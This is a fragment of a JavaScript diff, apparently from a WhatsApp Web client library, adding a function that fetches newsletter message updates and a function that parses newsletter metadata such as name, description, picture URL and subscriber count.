const result = await newsletterQuery(jid, 'get', [
|
|
380
|
+
{
|
|
381
|
+
tag: 'message_updates',
|
|
382
|
+
attrs: {
|
|
383
|
+
count: count.toString(),
|
|
384
|
+
after:
|
|
385
|
+
(after === null || after === void 0 ? void 0 : after.toString()) ||
|
|
386
|
+
'100',
|
|
387
|
+
since:
|
|
388
|
+
(since === null || since === void 0 ? void 0 : since.toString()) || '0'
|
|
389
|
+
}
|
|
390
|
+
}
|
|
391
|
+
])
|
|
392
|
+
return await parseFetchedUpdates(result, 'updates')
|
|
393
|
+
}
|
|
394
|
+
}
|
|
395
|
+
}
|
|
396
|
+
exports.makeNewsletterSocket = makeNewsletterSocket
|
|
397
|
+
const extractNewsletterMetadata = (node, isCreate) => {
|
|
398
|
+
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
399
|
+
const metadataPath =
|
|
400
|
+
JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
401
|
+
|
|
402
|
+
const metadata = {
|
|
403
|
+
id: metadataPath?.id,
|
|
404
|
+
state: metadataPath?.state?.type,
|
|
405
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
406
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
407
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
408
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
409
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
410
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
411
|
+
picture: Utils_1.getUrlFromDirectPath(
|
|
412
|
+
metadataPath?.thread_metadata?.picture?.direct_path || ''
|
|
413
|
+
),
|
|
414
|
+
preview: Utils_1.getUrlFromDirectPath(
|
|
415
|
+
metadataPath?.thread_metadata?.preview?.direct_path || ''
|
|
416
|
+
),
|
|
417
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
418
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
419
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
420
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
421
|
+
}
|
|
422
|
+
return metadata
|
|
423
|
+
}
|
|
424
|
+
exports.extractNewsletterMetadata = extractNewsletterMetadata
|